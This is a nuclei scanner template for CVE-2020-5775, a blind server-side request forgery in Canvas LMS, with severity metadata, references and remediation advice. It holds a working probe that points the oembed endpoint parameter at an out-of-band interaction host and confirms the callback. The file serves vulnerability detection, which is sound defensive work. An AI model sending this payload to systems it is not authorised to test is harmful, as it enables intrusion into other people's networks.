nuclei-templates/http/cves/2020/CVE-2020-5775.yaml

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id: CVE-2020-5775
info:
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name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery
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author: alph4byt3
severity: medium
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description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
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impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
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remediation: |
Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.
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reference:
- https://www.tenable.com/security/research/tra-2020-49
- https://nvd.nist.gov/vuln/detail/CVE-2020-5775
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
cvss-score: 5.8
cve-id: CVE-2020-5775
cwe-id: CWE-918
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epss-score: 0.00194
epss-percentile: 0.57293
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cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: instructure
product: canvas_learning_management_service
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tags: cve,cve2020,ssrf,oast,blind,tenable,instructure
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http:
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- method: GET
path:
- "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a00463044022035902c1512ac9678ff1c55b78fd7234c2318a756e6397256bb7bbf98dba5a621022059479217eefd0f42b9aca045add045bc168e50b5f0eedbf2b5104648d41cce71:922c64590222798bb761d5b6d8e72950